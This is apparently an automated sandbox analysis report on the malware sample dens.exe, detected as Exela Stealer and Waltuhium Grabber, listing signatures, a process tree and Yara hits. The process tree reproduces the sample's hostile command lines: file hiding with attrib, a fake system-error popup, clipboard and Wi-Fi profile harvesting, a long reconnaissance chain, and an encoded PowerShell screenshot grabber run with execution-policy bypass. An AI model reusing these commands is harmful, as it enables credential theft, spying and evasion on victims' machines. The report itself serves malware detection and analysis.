Edit tour

Windows Analysis Report
dens.exe

Overview

General Information

Sample name:	dens.exe
Analysis ID:	1554825
MD5:	258322c37f4f5c632bd6c79520899603
SHA1:	f7971d8fef96c59df97a2b31436cc0c1f8921182
SHA256:	09b67ccd7d38d2f868eb2a67c73e2e8d45aefe1054522477b259c399527b2c39
Infos:

Detection

Python Stealer, Exela Stealer, Waltuhium Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

Yara detected Exela Stealer

Yara detected Python Stealer

Yara detected Waltuhium Grabber

AI detected suspicious sample

Bypasses PowerShell execution policy

Detected generic credential text file

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Found pyInstaller with non standard icon

Gathers network related connection and port information

Modifies existing user documents (likely ransomware behavior)

Modifies the windows firewall

Overwrites the password of the administrator account

Performs a network lookup / discovery via ARP

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Sigma detected: MSHTA Suspicious Execution 01

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses attrib.exe to hide files

Uses ipconfig to lookup or modify the Windows network settings

Uses netsh to modify the Windows network and firewall settings

Uses netstat to query active network connections and open ports

Yara detected Generic Python Stealer

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Console CodePage Lookup Via CHCP

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

dens.exe (PID: 6248 cmdline: "C:\Users\user\Desktop\dens.exe" MD5: 258322C37F4F5C632BD6C79520899603)

dens.exe (PID: 6500 cmdline: "C:\Users\user\Desktop\dens.exe" MD5: 258322C37F4F5C632BD6C79520899603)

cmd.exe (PID: 5932 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 980 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 1136 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 3020 cmdline: wmic computersystem get Manufacturer MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 2044 cmdline: C:\Windows\system32\cmd.exe /c "gdb --version" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5344 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6904 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 732 cmdline: C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6432 cmdline: wmic path Win32_ComputerSystem get Manufacturer MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 3624 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 4632 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 6392 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1732 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 1344 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 6484 cmdline: attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 6560 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 2812 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cmd.exe (PID: 1748 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4460 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 6544 cmdline: C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4364 cmdline: cmd.exe /c chcp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 352 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 3624 cmdline: C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3104 cmdline: cmd.exe /c chcp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 2692 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 4504 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4284 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 1352 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1900 cmdline: powershell.exe Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 3488 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 6392 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 3652 cmdline: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 2128 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 7172 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

HOSTNAME.EXE (PID: 7380 cmdline: hostname MD5: 33AFAA43B84BDEAB12E02F9DBD2B2EE0)

WMIC.exe (PID: 7400 cmdline: wmic logicaldisk get caption,description,providername MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

net.exe (PID: 7456 cmdline: net user MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7472 cmdline: C:\Windows\system32\net1 user MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

query.exe (PID: 7488 cmdline: query user MD5: 29043BC0B0F99EAFF36CAD35CBEE8D45)

quser.exe (PID: 7504 cmdline: "C:\Windows\system32\quser.exe" MD5: 480868AEBA9C04CA04D641D5ED29937B)

net.exe (PID: 7536 cmdline: net localgroup MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7560 cmdline: C:\Windows\system32\net1 localgroup MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 7588 cmdline: net localgroup administrators MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7608 cmdline: C:\Windows\system32\net1 localgroup administrators MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 7628 cmdline: net user guest MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7640 cmdline: C:\Windows\system32\net1 user guest MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 7668 cmdline: net user administrator MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7680 cmdline: C:\Windows\system32\net1 user administrator MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

WMIC.exe (PID: 7700 cmdline: wmic startup get caption,command MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

tasklist.exe (PID: 7760 cmdline: tasklist /svc MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

ipconfig.exe (PID: 7844 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

ROUTE.EXE (PID: 7868 cmdline: route print MD5: 3C97E63423E527BA8381E81CBA00B8CD)

ARP.EXE (PID: 7884 cmdline: arp -a MD5: 2AF1B2C042B83437A4BE82B19749FA98)

NETSTAT.EXE (PID: 7900 cmdline: netstat -ano MD5: 7FDDD6681EA81CE26E64452336F479E6)

sc.exe (PID: 7916 cmdline: sc query type= service state= all MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

netsh.exe (PID: 7940 cmdline: netsh firewall show state MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

netsh.exe (PID: 7968 cmdline: netsh firewall show config MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 8040 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8088 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8128 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8184 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 7256 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
